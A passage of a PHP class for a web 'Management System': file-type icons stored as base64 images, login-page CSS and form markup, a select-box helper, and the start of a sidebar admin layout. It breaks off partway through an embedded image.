"file" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAMxJREFUSMftlLEJg2AUhO8PcQU3cIH/GgsLcQI7QRzBQSzdQRuxcQTBxkIXcAMLCyf4UynBEEx+TGy87j14x91XPOBkie2CJUuWw4AECRLL+s5untGhQ+f7vehFL+r6b01IklSKGTNm40hFReW6e3e3twR0FSFCFATIkSMvik+DvDTRJbDOkpLScRYiMpaxjD1vl4CuVKta1U7TGkRAQDQNUqRITRMhQoRV9TMCur6HEdDVFeAKcAW4bxfrQ7Fp0z7uHyy+MGDAOLv2kx4mEV8Nmu94UQAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxOS0xMC0yM1QyMzoyODowNSswODowMMwSVGIAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTktMTAtMjNUMjM6Mjg6MDUrMDg6MDC9T+zeAAAAV3RFWHRzdmc6YmFzZS11cmkAZmlsZTovLy9ob21lL2FkbWluL2ljb24tZm9udC90bXAvaWNvbl9paXFtaDI2dWt1ai9pZl9kb2N1bWVudF9maWxlX2ludi5zdmcCD615AAAAAElFTkSuQmCC" ,
"img" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAy9JREFUSMflk1FIU2EUx8+52zTIVS+THvRNclhuer/t4osTBX0JdElbMIYuGOHDfXDqwoRIomiwBQ58kA1Kpt3sLX0aIcj2tEwvzEAxdb5MBJ8ns3Z3Tw9jEposCp/6P37nO+f/+845H8D/LrRmrVlr9tYttVftVXv9/tLx9euX5iiBBFIuxy1zy9zy69datU/tU/tmZqiTOqnzyxdcwRVc+fTpX31omIZpuKoKG7ABG1QVRBBBVBRohEZovH1b3VV31d3ZWS20Qzu037xZMp6fX5fX5XX569e/NWaMMcbsdlRQQeXNG7KSlazfvyMgINy9CwwYsM+fYRRGYdTr5S4qZCYzmenGjdZQa6g1ZLM5HA6Hw6HRVCQIQhCCoghGMILx0SNswzZsC4VKQa/37PVzABa3xW1x37mjFbWiVvz2DU1oQlM0mslkMplMLFax9TVUQzXJJOUoR7nJSRiBERgRRcpSlrKJxMUACAio01E/9VP/hw/UQR3U8fixvlvfre82m4GAgHiej/ARPuJ0XgQgC7IgC8+fo4ACCqJIczRHc/fvy0fykXw0P1+hA14v2chGtoMD2Sk7ZefsbAITmMCTE6qlWqp9+BA84AFPONySbEm2JA2GswWFHWFH2KmrgzjEIR6JwBiMwZgklTt7IQCt0iqtejzcIXfIHb58ee5lcTkux1Op0kzfvdP4ND6Nb2rqTDmuGC1Gi1FJAjvYwS5JyCGH3OQkbdImbX78iE3YhE3XrpUztKe5echDfm9vrXmtea35/KzK0i3qFnWLT58WUoVUIZVOswALsIDLVYoajTRBEzTBcfpqfbW++tmzRFeiK9GlKPw2v81vWyyUpjSlp6exgAUs/DqCIRiCoffvKy1Zqj5Vn6rP51WX6lJdDkfp9NWr0o709BTHi+PF8QcPSqNTlHKesqQsKUtPnmAAAxioqzstyHzMx3zpdPm7VQL4vRD/9CYf5sN8+N49tsAW2ML+vpa2aIu23r7FEIYwFI8zAzMww8nJ34FUFrnJTe4rV2iQBmnwxYtTclPQFDQFr16lGMUoVlV1WQA4gAM48OPHhn/Dv+E/Pr4snz/WTwViayM1Vv2QAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEwLTIzVDIzOjI4OjA1KzA4OjAwzBJUYgAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMC0yM1QyMzoyODowNSswODowML1P7N4AAABGdEVYdHN2ZzpiYXNlLXVyaQBmaWxlOi8vL2hvbWUvYWRtaW4vaWNvbi1mb250L3RtcC9pY29uX2lpcW1oMjZ1a3VqL2ltZy5zdmeKLQo/AAAAAElFTkSuQmCC" ,
"js" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAZhJREFUSMfNlDGvwVAUx895eZtFxCaRMmEg6fUBdCCRWEXs9k7EhMFixAeQfgRJO4lYTFgYJCY0IpEmlq5Nzxvuq5cQr3jIO0tzzr09/197/vcifAcTmchEwwAEBPT74dEoQxnKm41VsApWQZLmOMc5bjau74kTcSJOLOthYedDiBGjRoMxxhjbbpNqUk2q4fC1/R9/Ffw9gkGqU53qo9E1kBcDuIN8PlsKNdRQG4/tnt2ze63WxYYlLGE5HPIkFDrVn+UBFzzk3iByKm8awQ/AReWc6N1xtwdII420fh900EHP5VBAAYVuF7KQhaxpAgEB5fP8PolE3PrdPQJUUUV1NoMEJCCx33Phw4GvVqtcWNdv7fewB1BBBZVAgGeZDH/WalSkIhV3u6cBUJva1D4eedbpkEACCabJj9NqRSlKUWo65b++VEIvetG7Xt8K4OoBlFFG2eejAQ1oEI9jGtOYliS+Go1CE5rQtG3wgAc8iwXFKEaxSgUBAd2awz84Bad4F8j5hXcagTNrJjOZyS8EUUABxTCc9Atx3rj7wZdvFgAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxOS0xMC0yM1QyMzoyODowNSswODowMMwSVGIAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTktMTAtMjNUMjM6Mjg6MDUrMDg6MDC9T+zeAAAARXRFWHRzdmc6YmFzZS11cmkAZmlsZTovLy9ob21lL2FkbWluL2ljb24tZm9udC90bXAvaWNvbl9paXFtaDI2dWt1ai9qcy5zdmeLUob0AAAAAElFTkSuQmCC" ,
"jsp" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAA0RJREFUSMelVc9LG1sU/s4QJ+1GWoiZ3muyanBhzERT7VoRd1qzKNosuigIhRZEsLuISlelFSxiICnBjYVCKC71D+gmTdKVYoiQkiqdCTE4aIPakcx9i9QK9c1LfX6by/1xzv3Od+65h2ADZUgZUobcbmlFWpFWkknIkCEPDVEP9VDPjRt2dmhBC1qOj9GGNrS9fq3ltJyWe/mysSnEn8cddn4kVVIlNRZDHnnk29qkZWlZWn74UPSLftH/86ednfAKr/BGo7RKq7Q6P88m2SSbvHNHX9KX9KVnz+yIXAKP8ziP6zrbY3tsLxJpavALLM3SLP3mDeeccy7E+cgG2SAbjMcbp4h+B2rraQELWHA4sI51rJ+c/C0BdKMb3ZcjpDzlKf/0KY/yKI++fds0BfDCC+9fSPVnCnbFrtgtFhvEDeNCGjCwmzcbb2hykqlMZerHj46rXtAM5Y5yR7kjkWjMzkegM9WZ6kzJsjFnzBlzpRJlKUtZn+8XAYeDJViCJVQV85jHPJFYFIti0eEgjTTS7t5ljDHG7t1rqkBJlETp+LjsLDvLznz+fH17bHtse8w0WY3VWO3HD2SRRRYgrnKVq48eoYoqqh8+XFuCXvSi17JOz07PTs9u3z7YONg42Dg6+p2JGquxWqFAUzRFU69eSZjBDGYu17XL5XK5XEAoFAqFQoDH4/F4PEAgEAgEAoDf7/f7/f9CIIcccpLkDDvDzrAsN+NrWwWmaZqmCVSr1Wq1CiiKoigKYFmWZVmApmmapl1bL3sCsizLsgwYhmEYBlAsFovFIqDruq7rF+t2oAhFKNK8ihzWqDVqjX7+TG5ykzuVQgEFFIj2+/b79vsePEAQQQS/fEESSSS/f2/mkDZpkzYPD7VWrVVrPTz839LwAT7AByqVRnWEw9cXu4HzR8gn+ASfePLE/iccxzjG63WKUYxi/9F8rgiapmmalmVkkEHm5MT2IxIkSNCnT9RFXdT14kX7bPts++zRkVgTa2LNNK96sdgSW2Lr/n0xLIbFMOf1YD1YD2Yy9gTSIi3Sz5+TSSaZ795ZPstn+d6/px3aoZ1bt6BBg3bRVJpGHqQgBb99gwIFyuPHlZHKSGXk69d/AHOuXYUMi+REAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEwLTIzVDIzOjI4OjA1KzA4OjAwzBJUYgAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMC0yM1QyMzoyODowNSswODowML1P7N4AAABGdEVYdHN2ZzpiYXNlLXVyaQBmaWxlOi8vL2hvbWUvYWRtaW4vaWNvbi1mb250L3RtcC9pY29uX2lpcW1oMjZ1a3VqL2pzcC5zdmdQ2TjbAAAAAElFTkSuQmCC" ,
"php" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAA4tJREFUSMetlU9IG1sUxs+5MxOpVEOQhmBE0sR2IURwxthFAtlYC2KLrQRL6VYKJUQCImKhCzeBCIlx0SyF1oU2CzdSJLSEEMwmfxaGLtqQBLXVRYWASa2kM3PeIsT3SJ68vLbfZrjnfnfOb+53L4PQJJfL5XK5OK4QLAQLwTdvMIhBDN6+De1qDMZgrFajHuqhnt3dLluXrcvm98cxjnG8uGi2882FYqFYKBaMRsxhDnMmUy1ai9aid++2219ICSkh9eQJzuIszr58WTFXzBWzw+EkJznpwYNmkBYAOSNn5AxjfIyP8bHz81wul8vlyuV2AcQBcUAcOD+nOMUp/uoVnuAJnuj11bPqWfUsEpFESZTER48y2Uw2k/35k7W9tf9TOIiDOKjTwRZswVYgQB7ykIcx8pOf/M+fN3x/HIDts322/+kTTMEUTF27BhGIQGRhAatYxeqXLzACIzDicl0Zwe8q3ZnuTHcmk/VR4/m3pIgUkSKfP7cASJIkSVJnpzKnzClzgqCW1JJaSqWsVqvVatXpfhVII2gEjVCtNjKHBCQggXgJMLQytDK0oteDDnSgOzzkwlyYC3d0XL5Ao9FoNIuLvwpAS7RES8kkTMM0TNvtzfM8O2JH7EirhU3YhM2ODvCABzzlMoUoRKHFRTCBCUxaLbrRje5796AXeqH38BA2YAM2btwgN7nJrSgwARMw8e4drMIqrHZ3gwIKKHNzuI3buK3XXwXYcgaon/qp//t3tsyW2fL792pSTarJW7folE7p9Ns3ylKWsrEYb+ANvOH6dXVH3VF3Hj6sr97dBS94wWu11scfPoAd7GBv/fKGrrwFclSOylGOQxlllF+8QAMa0DAzg93Yjd137qjr6rq6fv9+w88ZOSNn5DjwgQ98CwsUpjCFnz79r4h4fpwf58cVhfZoj/YAwAlOcBoM3DF3zB3HYhCAAASMRvKRj3w/fuABHuCBKNajEgSykIUsRLJFtsiWZ89wHudxvq8PAQEBgBKUoISiwBqswdq/AKQn05PpyVJJFERBFB4/rt9TrZaAgP7ptIENbAAt9eYIm+aZkRmZ8ePHtk/taH40P5rv6xNDYkgMvX7d9sI2JXkkj+TJ5y93oNmgzCgzygxjiIiIN2/+qcb1nxHPVy4qF5ULxhqRtACYLWaL2fL1a9Fb9Ba95bI4LA6Lw4XC7wLUGwOgAx3oePu2Uf8LaX2DHajI5aYAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTktMTAtMjNUMjM6Mjg6MDUrMDg6MDDMElRiAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE5LTEwLTIzVDIzOjI4OjA1KzA4OjAwvU/s3gAAAEZ0RVh0c3ZnOmJhc2UtdXJpAGZpbGU6Ly8vaG9tZS9hZG1pbi9pY29uLWZvbnQvdG1wL2ljb25faWlxbWgyNnVrdWovcGhwLnN2Z/pmCQMAAAAASUVORK5CYII=" ,
"rar" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAupJREFUSMfFVUtIW1EQPXONUEpc2U+wkIUGLBT83CTwhJJNVrpwURPUZeGBISXoQvysAiFgEV2UBBVxIYIKFfGDZKHYgqiRhPeEFBoK7opKlayyELHe6eIRCy1itZbObi73zJx7ZuYO8J+Nfj2QB/JAHoyP0yRN0uSLF9zADdxwfn5TIE5ykpODg6JJNImmiQmlKU1p/f37wf3gfnBz848ZlQjUh+pD9aFnz277Ijkn5+TcxoZbuqVbvn/v3nXvunc7O6+7L+5d0hzlKCcEFalIxZERRBBBJBy+jsi9E4ALLrg+flSLalEtvnplHX76hG1sY/vly1+v2+47v6EbuqHH4yXfKoXTaXn9/f9egVva1RTIMTkmx+bnaYqmaMrrRQta0JLPI4UUUmdnf5GBQA8fgsHg589ZZ531bNYMm2Ez3Nn5U4EQQggFAhagpoaruZqrlUI3utFtGFjFKlZPTuCBB55AgId5mIc9Hl7jNV4jsnDBILdyK7d++3aFa0YzmplLca/y3FQCSlKSkpub2MEOdoaGyEUuch0fw4AB4+tX8pOf/DMz8MEHXyqFLnShSykxK2bF7JcvJZyl4MrKdXlu7oE61KHu7VulK13p6bSlgMNBcYpT3DRFQRRE4fFjtrOd7R8+XJqX5qV5dGQRjUbJTnayK3V3AjnkkBsYICc5ydnWhlrUonZ8nJd4iZd8PjWtptV0ICCiIiqiKytlskyWyaoqCxyLKadyKqfDcXMTKqmkurggL3nJa7PxHu/xXqFAGmmkVVZyhjOcOTvDFrawVShQL/VS79OnFrq8HBo0aKenSCONdKknHj3iBCc4USxShCIUqajgLGc5+/27KUxhivLyKwKNC40LjQt+v8iLvMi/fo1lLGM5k6EYxSj2+fNdh4CjHOXokydIIIFER4c6VIfq8N270o74bRmVPg7u4R7umZiwxtFmwzrWsU50WwI0SqM0+uAB2tGO9lzO6DP6jL43b+76oHu3H6uCS4n3O8bgAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEwLTIzVDIzOjI4OjA1KzA4OjAwzBJUYgAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMC0yM1QyMzoyODowNSswODowML1P7N4AAABGdEVYdHN2ZzpiYXNlLXVyaQBmaWxlOi8vL2hvbWUvYWRtaW4vaWNvbi1mb250L3RtcC9pY29uX2lpcW1oMjZ1a3VqL3Jhci5zdmcwNhqCAAAAAElFTkSuQmCC" ,
"txt" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAe9JREFUSMfFlD9rKkEUxe9d3E0gFrJIioSAhZWFwsxaBQJJvoqKYGEaC2sTUkgKBbERa/0KNsZOlJnC2CqklyXI+AcMuSn26QOXfSGu8G6z7Myce39z9rAA/7nQa4NJJpkslVCiRFkoQB3qUD85OXQQ1ahGtfUaxzjG8dOTSImUSD0+egp4gzd4Y73mjDPOwmG/N01kE9lE9vKSc845//jYrmueigEMYGAYQgop5GzmF2ARW8QWsdnMceKvk4HdjTu8wzu9HhShCMWbGxAgQAA4xET/bt/tCiGEEHd3vwXbAVCIQhS6vkZA72B41u2tFyj1qEe98XjenDfnTcvyBNgJ/oRlk96kN+mLC3NkjszRaqUsZSlL04CAgMJhQEDA93ca0pCGn59Sk5rUdN3FFoQgBAGi1Wg1WnWH2JUBzGEOc6enhmEYhmHbzuCHB2pTm9ovL9vBu/NJTGIyENg6sP9kiimm3t5+/ASHll8HfAPsO+AC/G0GXA0qVKFKoQARiEAk4M7MsRxAhQrV66vzdn+/W89jHvOm6Ulogw12t+vXSVfxDM/wzNfXsfptHWB91mf91epHwfZgvBwvx8vn534BrKW1tJZXV/u/Yu8MaKCB9vysT/SJPplOHeHZ2aEA1KIWtZTCKU5xWiody1nf9Q0pkAHDEetNngAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxOS0xMC0yM1QyMzoyODowNSswODowMMwSVGIAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTktMTAtMjNUMjM6Mjg6MDUrMDg6MDC9T+zeAAAARnRFWHRzdmc6YmFzZS11cmkAZmlsZTovLy9ob21lL2FkbWluL2ljb24tZm9udC90bXAvaWNvbl9paXFtaDI2dWt1ai90eHQuc3Zn+H+JSwAAAABJRU5ErkJggg==" ,
"xml" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAzRJREFUSMfFlFFImm0Ux/8njZmWuouF7qKL0Kt24/u+vDIaAxHGroxBIORGc4PBKCJwxDDQG2ElMkaMNfFCCGLQzbqQQcvmjBxj+eaKXRhJY7HroUljBr5nFy99H3win/sIvv/V8/zhnPM75zk8wP8s+qchCqIgCqkUPPDA43J1nMkCCyzlcs1as9as9+9XpipTlalG488BZsQZcWZzk/qoj/oSCbjgguvLl39LpJbVslqenUU/+tFvtx9Xj6vH1Vu3OgVpARAEQRAEUew0TggLYSH89KkoiqIofvsmLAlLwtKbN44Fx4Jj4cKFdnFdHZP9kXZ2iIiIRNFsNVvN1tev24Hoz61mL3rR++4dpznN6WvXNHN/n4IUpKDNZoEFFiSTmn/3bguAtnxuNzawgQ2rVetAlqWMlJEyFy92RvHrF45whKNs9sxhMBhOp3Z7+FBySk7JKcvFg+JB8eDTp78AOM95zi8uwgADDJcv0xqt0dq9exzlKEclicMc5vCHD6QnPelNJg3UZEIBBRQcDkQQQWR3F+tYx/qlSxzjGMe+fiUQCMPDZ3XUhJpQE8+fYwQjGJHl1idQoEAxmRBFFNE7dzTz8WOkkELq5Uvaoz3au3qV7Wxn++fPvM3bvP32rc6v8+v8N282h5pDzaHZWfKSl7zPnmnxlUq7mbUsIU3QBE0YDNrtyRNFURRFCQYxiUlMLi6qRtWoGqvV7tXu1e7Vjx8pTnGKp9MNuSE35HodPvjgq1Y7XZ32S1hEEcXdXVESJVGy2bjMZS7v7FCGMpT58eN08HTwdNDn6zH3mHvMoRAN0AAN3L6tulW36q7VOgVomQBv8RZvHR5SjGIUe/WK53me5wsFfV6f1+djMYxhDGOHhxSiEIUePDgJnAROAjYbJznJyRs3aJqmabparY3Xxmvj378zMzNLEvzww//iRcvEzw7CirAirLx/j1GMYnR4GCpUqD9/0jIt03Kz2WlHLQ0FOMABnQ5d6EKX0UhhClN4c1OZU+aUOa/33L7itiqhhNKVK1znOtcfPVLiSlyJX7/efgeyyCK7v88e9rAnEkEOOeT+c/m/lUMOuVLpHDKdr34D0s5fFZVsEY0AAAAldEVYdGRhdGU6Y3JlYXRlADIwMTktMTAtMjNUMjM6Mjg6MDUrMDg6MDDMElRiAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE5LTEwLTIzVDIzOjI4OjA1KzA4OjAwvU/s3gAAAEZ0RVh0c3ZnOmJhc2UtdXJpAGZpbGU6Ly8vaG9tZS9hZG1pbi9pY29uLWZvbnQvdG1wL2ljb25faWlxbWgyNnVrdWovWE1MLnN2ZzWEv/oAAAAASUVORK5CYII=" ,
"zip" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAnlJREFUSMfFVU0odGEYPQddCz9DSSykhpKN8r6LCWGKWbCwmVGSnQmZJmRnFiz8zEKGpImtbEwmK5qNpkSUuWxsLWQj9pi4z7cYo8zXfEbRd3b3vud5zrnvfX6IdyillFIjI2xjG9tmZmDAgPH4iFzRjW50h8MIIIBAY6P0SZ/0FRbWXddd111PTkYikUgk8vaWGcZMA+ln0zRN09zaytnAO/SNvtE3m5voRz/6i4vFJz7xFRcbLsNluAYGzmrOas5qnp7S/LzvCuQKERGRlRVucIMb0WiyKFmULDo40EorrWy2XzfADnawY3sbTjjh9Pvpoouu5mYsYAELHk+aV/DTwgl7wp6wj45mvv/4xQEEEMjP//UbyBX/3QD1tJ7W0xcXSCKJZEXFx8l32/ArZMlfgDjiiGv9V0AYYYQTCRmTMRmLxbjMZS4/P9NNN91VVRKTmMQcDkQRRbSsDEtYwtLxMTvZyc7bW8treS3vywtNmjQDAZziFKe1tZ9FamuptdZai3z5BfOYx7zXKw5xiGNoiK985evVFXrQg57KSituxa343h4NGjRWV9nKVrY+PEAgkGAQBMHd3cy0OdbA/j6HOczh0tJUOzmdWalHOMJRMChucYt7dlY84hFPV1c2etY2lJCEJHR/z3a2s31tzTq3zq3zw0P66KPvH15b0IKWwUHYYIOtqYl++ukvKfm2AU5xilPRKHawgx2bDeMYx/jEhChRoqqrU0XV0MAQQwyVl/OSl7y021PR9fWp+OzCHzo518BvQ9/pO33X26vm1JyaW1//6fzpSZi59PiZlpeXWhabm6mqVSo1y3/ght7ngJzIiZwsLqa37R9Ngf+xMu1zrQAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxOS0xMC0yM1QyMzoyODowNSswODowMMwSVGIAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTktMTAtMjNUMjM6Mjg6MDUrMDg6MDC9T+zeAAAARnRFWHRzdmc6YmFzZS11cmkAZmlsZTovLy9ob21lL2FkbWluL2ljb24tZm9udC90bXAvaWNvbl9paXFtaDI2dWt1ai96aXAuc3ZnlUqF6AAAAABJRU5ErkJggg==" ,
];
return $type_array[$type];
}
public function loginCss () {
$login_css_style = <<<EOF
<style type="text/css">body{background-size:100% 100%;no-repeat;font-family:'PT Sans',Helvetica,Arial,sans-serif;text-align:center;color:#333}.page-container{margin:120px auto 0 auto}h1{font-size:30px;font-weight:700;text-shadow:0 1px 4px rgba(0,0,0,.2)}form{position:relative;width:305px;margin:15px auto 0 auto;text-align:center}input{width:270px;height:42px;margin-top:25px;padding:0 15px;background:rgba(255,255,255,.15);border-radius:6px;border:1px solid rgba(255,255,255,.15);box-shadow:0 2px 3px 0 rgba(0,0,0,.1) inset;font-family:'PT Sans',Helvetica,Arial,sans-serif;font-size:14px;color:#333;text-shadow:0 1px 2px rgba(0,0,0,.1);transition:all .2s}input::-webkit-input-placeholder{color:#333}input:focus{outline:0;box-shadow:0 2px 3px 0 rgba(0,0,0,.1) inset,0 2px 7px 0 rgba(0,0,0,.2)}button{cursor:pointer;width:270px;height:44px;margin-top:25px;padding:0;border-radius:6px;border:1px solid #333;box-shadow:0 15px 30px 0 rgba(255,255,255,.25) inset,0 2px 7px 0 rgba(0,0,0,.2);font-family:'PT Sans',Helvetica,Arial,sans-serif;font-size:14px;font-weight:700;color:#333;text-shadow:0 1px 2px rgba(255,255,255,.1);transition:all .2s}button:hover{box-shadow:0 15px 30px 0 rgba(255,255,255,.15) inset,0 2px 7px 0 rgba(0,0,0,.2)}button:active{box-shadow:0 5px 8px 0 rgba(0,0,0,.1) inset,0 1px 4px 0 rgba(0,0,0,.1);border:0 solid #333}</style>
EOF;
self::htmlOut($login_css_style);
}
public function htmlLogin () {
self::htmlOut("<html lang='en'><head><title>Management System</title>");
self::loginCss();
self::htmlOut("</head><body><div class=\"page-container\"><h1>management system</h1><form method=\"post\"><input type=\"text\" name=\"username\" class=\"username\" placeholder=\"USERNAME\"><input type=\"password\" name=\"password\" class=\"password\" placeholder=\"PASSWORD\"><button type=\"submit\">LOGIN</button></form></div></body>");
}
public static function htmlSelect ($array , $mode = '' , $change = '' , $name = 'class') {
$str = "<select name=$name $change>";
foreach ($array as $name => $value) {
if ($name == $mode) {
$str .= "<option value=\"$name\" selected>$value</option>";
} else {
$str .= "<option value=\"$name\">$value</option>";
}
}
$str .= "</select>";
return $str;
}
public function htmlMain ($content) {
$main_html = <<<EOF
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Management System</title>
<style>
html,body{height:100%;overflow:hidden;}body,html,ul,li,a{padding:0;margin:0;text-decoration:none;}textarea{padding:10px;border-radius:4px;font-size:16px;border:1px solid #CCC;line-height:24px;color:#333;outline:none;box-sizing:border-box;resize:none;}select{height:40px;margin:0 5px;outline:none;background:#fff;border:1px solid #ccc;font-size:14px;vertical-align:middle;color:#333;line-height:40px;}input[type=text]{box-sizing:border-box;height:40px;padding:6px 12px;font-size:17px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;outline:none;vertical-align:middle;}input[type=text]:focus,textarea:focus{box-shadow:0 0 8px rgba(51,51,51,.6);}input[type=submit]{height:40px;padding:6px 12px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;outline:none;vertical-align:middle;width:100px;cursor:pointer;font-size:14px;}.main{height:100%;}.left{position:absolute;top:0;left:0;width:280px;height:100%;max-height:100%;background-color:#fff;overflow:auto;}.left::-webkit-scrollbar{display:none;}.nav{}.left .title{height:65px;line-height:65px;text-align:center;background-color:#fff;color:#333;font-size:20px;font-weight:bold;}.nav ul{list-style:none;}.nav ul li{background-color:#fff;}.nav ul li a{display:inline-block;padding:0 30px;height:60px;line-height:60px;font-size:0;width:100%;box-sizing:border-box;position:relative;text-decoration:none;}.nav ul li a:hover{text-decoration:none;box-shadow:0px 0px 5px #333 inset;}.nav ul li a:hover img{animation:IconRotate 0.5s forwards;}@keyframes IconRotate{from{-webkit-transform:rotate(0deg);-moz-transform:rotate(0deg);-o-transform:rotate(0deg);transform:rotate(0deg);}to{-webkit-transform:rotate(360deg);-moz-transform:rotate(360deg);-o-transform:rotate(360deg);transform:rotate(360deg);}}.nav ul li a img{width:30px;height:30px;margin-right:10px;vertical-align:middle;float:none;}.nav ul li a span{color:#333;font-size:18px;vertical-align:middle;}.nav .sen-nav{background-color:rgb(46,46,46);height:0px;overflow:hidden;transition:height 0.5s;}.nav .next{position:absolute;right:10px;top:25px;width:10px;height:10px;}.nav .sen-nav li{height:60px;line-height:60px;background:#fff;}.nav .sen-nav li a{display:inline-block;padding-left:90px;box-sizing:border-box;height:60px;line-height:60px;color:#000;font-size:18px;text-decoration:none;overflow:hidden;}.nav .sen-nav li a:hover{text-decoration:none;box-shadow:0px 0px 5px #000 inset;}.havanexta{background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAA+ElEQVRYR+2UPRJBMRRGz7MHu6BRKDQYhUahMLaD9WANrEKl0CgoFBqFxtyZZMYQyU1i5jVJk1fcd7+Tk5+KmkdVcz4FoBgoBooBn4EBcAUOf3ispNfe1ccHsAOawDwTYgksgKELwgfQBjbAMwPChq8A+f4aoUPYAdbAIwEiGC40IQCp6RoT9wgIVbgWQOp6BuKmgFCHxwBIbd9AXDwQUeGxAFI/MhBnB4QNl1kOnWpozsBnozGwBU5vEEnhKQYszMSYOJpZ7nnUym2jFAP236kx0TDKnfc8tA85ANJ7BrR+PTKh8Jwt0PRW1eQaUIX4igpAMVAMFAMv2K0xIZKox6AAAAAASUVORK5CYII=') 220px center no-repeat;background-size:30px 30px;}.right{padding-left:280px;height:100%;padding-top:65px;overflow:auto;padding-bottom:65px;box-sizing:border-box;}.right::-webkit-scrollbar{display:none;}
</style>
</head>
<body>
<div class="main">
<div class="left">
<div class="title">Management System</div>
<nav class="nav">
<ul>
<li>
<a href="?">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgEAYAAAAj6qa3AAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAnFJREFUaN7tmD9r6lAYh99zki9QcGqFgtDOShRRRKSCdOjuJ9B0ciwd3FropIKLSGcHKXVyKC7tIIrIwUyltLRQkEIHKRUHafW8HbzxXhTR+CfR2/wW8eRn8j4PwRwCYMbMrw7R+4Kupqvpau7v8yqv8mqxqK5TD/VQz9FR3Vq31q2Pj/+dAHvMHrPH9vYEt+AW3Le3kIQkJHd21OOYwhSm3t85cOBwcKD4Fb/iv7/feAHTwEejt4iVCdAKbpSIpQtYFFxvEUsTsGxwvUQsLGDV4KsWMbcAvcFXJUKzAKPBly1iZgHrBr4sEVMFrDv4oiImCtg08HlFjAkYgnOBC/zuDqpQher2ttFAc8cDHvC8vfVpn/ZpIKCklbSSfnpSD4ujfRqkQRoMBDCEIQx1u4PVl5ehMR/xEZ/NZjTXpGA